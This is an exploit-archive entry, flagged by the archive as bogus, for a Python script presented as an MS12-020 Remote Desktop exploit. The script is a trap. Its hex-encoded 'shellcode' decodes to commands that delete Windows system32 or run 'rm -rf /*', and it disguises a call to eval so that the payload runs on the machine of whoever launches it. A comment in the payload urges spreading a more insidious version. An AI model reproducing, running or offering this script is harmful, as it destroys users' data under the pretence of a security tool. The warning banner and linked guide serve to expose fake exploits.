WARNING! Fake news / Disputed / BOGUS

Microsoft Remote Desktop User/Password Reader Exploit (.py)

2013-07-29 / 2013-07-30
Credit: xscholler
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

#!/usr/bin/env python # greating n4sss and foreach my friends and luk3r-C # xsdev@outlook.com # rdpxs.py # MS12-020 RDP, remote exploit code execution # on all patch machines, XP to 7 # testado nas versoes windows 7 xp e vista com patch. # # Author: xscholler import struct import socket import sys import os xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1" xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63" xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a" xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f" xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73" xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c" xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70" xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61" xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33" xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32" xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e" xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39" xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e" xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51" xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64" xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37" xscholler += "\x41" * 39 xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e" xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73" xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61" xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78" xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e" xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30" xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b" xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b" xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00" argument = "\x90" * 214 #bindshell PORT 8888 shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73" shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a" shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20" shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e" shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61" shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73" shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73" shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f" shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20" shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20" shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20" shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20" shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20" shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73" xst = xscholler + argument class RDPsocket(socket.socket): def __init__(self, payload, shellcode): super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM) self.payload = payload self.table = __imPORT__("__builtin__").__dict__ # self.shellcode = shellcode def parse(self, address, shellcode): fucker = (struct.pack(">I", 0x6576616c), socket.inet_aton(address[0]), #IP bytes socket.inet_aton(str(address[1]))) #PORT bytes linha = struct.pack(">I", 0x8fe2fb63) #pop eax linha += struct.pack(">I", 0x8fe2fb58) #push esp linha += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret linha += struct.pack(">I", 0x8fe2db10) #call strcpy linha += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params linha += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret linha += struct.pack(">I", 0x8fe2b3d4) #POP - RET linha += struct.pack(">I", 0xffffffff) #value to store in ecx linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += fucker[0] #add the prelude linha += fucker[1] #add the packed IP address linha += fucker[2] #add the packed PORT linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder linha += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back to original value linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx linha += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret linha += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret linha += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret linha += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret read = self.table[fucker[0]] #reader for the linha shellcode/data return str(read(shellcode)), linha def connect(self, address): self.linha_shell = self.parse(address, shellcode) super(RDPsocket, self).connect(address) def xst_sendall(self): super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1]) if __name__ == "__main__": if len(sys.argv) != 2: print "[*] Usage: python rdpxs.py IP" else: ALVO = sys.argv[1] PORT = 3389 #default RDP PORT print "[*] Rodando rdpxs" print s = RDPsocket(xst, shellcode) print "[+] Conectando e configurando payload. . ." print "[+] isso pode levar alguns minutos..." s.connect((ALVO, PORT)) print "[+] Conexao estabelecida" print "[+] Enviando payload. . ." s.xst_sendall() response = s.recv(4096) if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response: print "[+] Bem Succedido! Payload enviado e executado com sucesso!." print "[+] Telnet ALVO na PORT 8888." else: print "[-] Failed" s.close()

References:

http://cxsecurity.com/issue/WLB-2012120184
http://0entropy.blogspot.com/2013/07/identifying-fake-shellcode-quick-guide.html


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